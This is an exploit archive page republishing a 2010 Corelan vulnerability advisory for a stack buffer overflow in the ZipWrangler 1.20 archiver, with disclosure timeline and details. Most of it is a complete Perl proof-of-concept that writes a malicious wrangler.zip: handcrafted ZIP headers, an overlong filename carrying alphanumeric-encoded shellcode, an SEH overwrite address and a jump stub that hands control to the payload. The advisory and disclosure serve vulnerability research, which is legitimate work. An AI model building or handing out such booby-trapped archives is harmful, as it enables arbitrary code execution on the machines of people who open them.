exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ZipWrangler 1.20 .ZIP SEH Exploit

ZipWrangler 1.20 .ZIP SEH Exploit
Posted Apr 24, 2010
Authored by TecR0c, Sud0 | Site corelan.be

ZipWrangler version 1.20 SEH overwrite exploit that creates a malicious .zip file.

tags | exploit
SHA-256 | 29f7dd7ad0c8b7b814ab450c0ac1bd3a7ceb95aaef19efa6ace9ed04c4ddc5c0

ZipWrangler 1.20 .ZIP SEH Exploit

Change Mirror Download

|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| security@corelan.be |
| |
|-------------------------------------------------[ EIP Hunters ]--|
| |
| Vulnerability Disclosure Report |
| |
|------------------------------------------------------------------|

Advisory : CORELAN-10-031
Disclosure date : April 24th, 2010
http://www.corelan.be:8800/advisories.php?id=CORELAN-10-031
 
00 : Vulnerability information
Product : Zip Wrangler
Version : 1.20
Vendor/Author : CursorArts
URL : http://www.cursorarts.com/ca_zw.html
Platform : Windows (Tested on XP SP3 fully patched)
Type of vulnerability : Stack Buffer Overflow
Risk rating : High
Issue fixed in version : <not fixed>
Vulnerability discovered by : TecR0c
Corelan Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/
 
 
01 : Vendor description of software
>From the vendor website:
"ZipWrangler: The simple, quick and free way to extract and create your own zip and other archive files.
Use ZipWrangler's Viewer to take a look into these files before you decide whether or not to run or extract the contents.
You can also Run program from within the archive without extracting.
And you can use ZipWrangler to easily create your own compressed files for making them faster to send over the internet or by e-mail"
 
 
 
02 : Vulnerability details
A flaw in how the application handles a overly long zip filename which an attacker can utilize in a manner other
than the designer intended. Since the SE Handler can be overwritten an attacker can take full control over the application flow,
inject and execute arbitrary code on the machine. The attacker will be able to gain the same rights as the user running the application.
 
 
03 : Vendor communication
April 10 : Author contacted
April 18 : Sent reminder
April 25 : No answer, Public disclosure
 
 
04 : Exploit PoC

#!/usr/bin/perl
# Title: ZipWrangler 1.20 (.zip) SEH 0day exploit
# Author: TecR0c & Sud0
# Date: April 24th, 2010
# Corelan Reference: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-031
# Download: http://www.softpedia.com/get/Compression-tools/ZipWrangler.shtml
# Platform: Windows XP sp3 En (VMWARE)
# Greetz to: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes.
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.

print "|-------------------------------------------------------------------|\n";
print "| __ __ |\n";
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";
print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |\n";
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";
print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |\n";
print "| |\n";
print "| http://www.corelan.be:8800 |\n";
print "| security@corelan.be |\n";
print "| |\n";
print "|-------------------------------------------------[ EIP Hunters ]---|\n";
print " [+] ZipWrangler 1.2 (.zip) SEH exploit\n";



my $ldf_header = "\x50\x4B\x03\x04". # local signature
"\x14\x00". # version minimum needed to extract
"\x00\x00". #general purpose bit flag
"\x00\x00". #compression method
"\xB7\xAC". #file last modification time
"\xCE\x34". # file last modification date
"\x00\x00\x00\x00". #CRC32
"\x00\x00\x00\x00". #Compressed size
"\x00\x00\x00\x00" . #Uncompressed Size
"\x48\x10" .# filename length E4 0F
"\x00\x00"; #Extra filed length


my $cdf_header = "\x50\x4B\x01\x02". #Signature
"\x14\x00".#version made by
"\x14\x00".#version needed to extract
"\x00\x00".#general purpose bit flag
"\x00\x00".#Compression method
"\xB7\xAC".#File last modification time
"\xCE\x34".#File last modification date
"\x00\x00\x00\x00". #CRC32
"\x00\x00\x00\x00".#Compressed Size
"\x00\x00\x00\x00".#Uncompressed Size#
"\x48\x10". # filename length
"\x00\x00". #Extra Field Length
"\x00\x00". #File comment length
"\x00\x00". #Disk number where File starts
"\x01\x00". #Internal File Attributes
"\x24\x00\x00\x00". #External File Attributes
"\x00\x00\x00\x00"; #Relative offset of local file header;

my $eofcdf_header = "\x50\x4B\x05\x06". #End of central Directory Signature
"\x00\x00". #Number of this disk
"\x00\x00". #Disk where central directory starts
"\x01\x00". #Number of central directory records on this Disk
"\x01\x00". #Total Number of central directory records
"\x76\x10\x00\x00". #Size of central directory (bytes) (central directory header size + payload)
"\x66\x10\x00\x00". # Offset of start of central directory, relative to start archive (lfh + payload)
"\x00\x00"; #Zip file Comment length;

# mov edx, ds :[EAX] ---> the address 0x7FFDFD0C = 00000 in DS
# so EDX=0000, next instruction TEST EDX,EDX / Jz xxxxxx (will bypass the error due to mov ECX, ds:[edx])
# the jump will take us to a retn (so we are out from handler routine) --> come back to execution
# 0x77E9025B [rpcrt4.dll] will overwrite EIP after being back from exception
# bingo , after \xEB\x06 we are in our \xcc
# shell = message box eax e

my $shell="PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8" .
"ABuJIn9JKmK9IT4tdl4tqzrmbpzUaIYcTNkpqfPlKD66lNkpvwlLKsvgx" .
"lKsNepNkEf4xpO4XPul3qIs1KaKOKQapLK2LgT14lKsuUlNkpTgurX6aZ" .
"JLK1ZwhLKCjepUQzKm3p7W9LKp4nkwqzNp1kOvQKpKLLlmTo0BTTJZahO4" .
"MuQKwxihqKOKOIoWKQlQ4Ux2UyNNkcjq4uQJKsVNk6lpKnkrzuL5QXkLKV" .
"dNkWqM8K9qT5tglE1XC82C8EyYDNi8eMY9RCXlNpN4NhlbryxMLKOKOKOl" .
"IqUfdOKQnN8YrPsMW7lddV2KXlKIoyoKOoycueXQxplPlEpkO3XP3VRfNu" .
"4qxpupscUcBK8qLutWzOyIvpVyoaEETMYO2pPMkoXY22mOLOwwlWTf2kXa" .
"NKOYokOSXPlpapnV83XQsbOT255P1kkoxaLQ4TGniKSBHQtShWPUpax0op" .
"iCD55PhpeqhRPbLUaJiNh2lEteYOykQdqKbSbQCv12rKOXP6QO0pPKOSeV" .
"h5ZA";

my $shellcode="A" x 2 . $shell . "A" x (4080-2-length($shell)) . "\x0C\xFD\xFD\x7F" . "\x90" x 4 . "\x5b\x02\xe9\x77" . "\x90" x 8 . "\x83\xC0\x16\xFF\xE0"."\xcc" x 59;
my $filename="wrangler.zip";

my $payload = $shellcode . ".txt";

print "Size : " . length($payload)."\n";
print "Removing old $filename file\n";
system("del $filename");
print "Creating new $filename file\n";
open(FILE, ">$filename");

print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header;
close(FILE);
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    3 Files
  • 17
    Aug 17th
    6 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close